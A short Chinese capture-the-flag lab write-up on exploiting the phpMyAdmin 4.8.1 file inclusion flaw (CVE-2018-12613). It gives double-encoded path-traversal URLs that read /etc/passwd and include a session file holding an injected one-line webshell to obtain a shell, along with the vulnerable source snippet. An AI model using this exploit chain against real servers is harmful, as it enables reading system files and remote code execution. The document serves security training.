墨者学院CTF(phpMyAdmin后台文件包含分析溯源)
墨者学院CTF(phpMyAdmin后台文件包含分析溯源)
靶场地址:
http://219.153.49.228:45122/
相关知识:
1.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
2.php代码审计
3.base64编码绕过
思路: 利用过滤规则绕过php文件包含的黑白名单限制,再利用php的session会话机制,包含一句话木马文件获取shell。
获取key(弱口令登录就省了root/root):
1.构造绕过白名单的url:http://219.153.49.228:45122/index.php?target=db_sql.php%253f/../../../../../etc/passwd
测试结果,成功:
2.执行SQL查询,写入一句话木马,此时由于php的session会话机制会把文件写入到服务器session的文件。
常见session文件的保存目录:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
①.写入一句话木马
②.构造服务器解析一句话木马的url:http://219.153.49.228:45122/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_h373iaao32rsf61ss52psvr6eck2vc5r
③.获取shell.
疑问:
- PHPSESSID是浏览器里边的cookie值,执行select 一句话木马后有的。
- 不用再写什么phpinfo找写一句话木马路径了,麻烦不麻烦啊
- 为什么是?target=db_sql.php,index.php源码里边的参数,后边自己看源码,db_sql.php是白名单中的文件,可以通过过滤规则。
- %253 是
“?”
的两次url编码,绕过滤用的,自己解码试试就知道了。
部分源码:
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
完整版代码下载地址:
https://www.phpmyadmin.net/files/4.8.1/
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。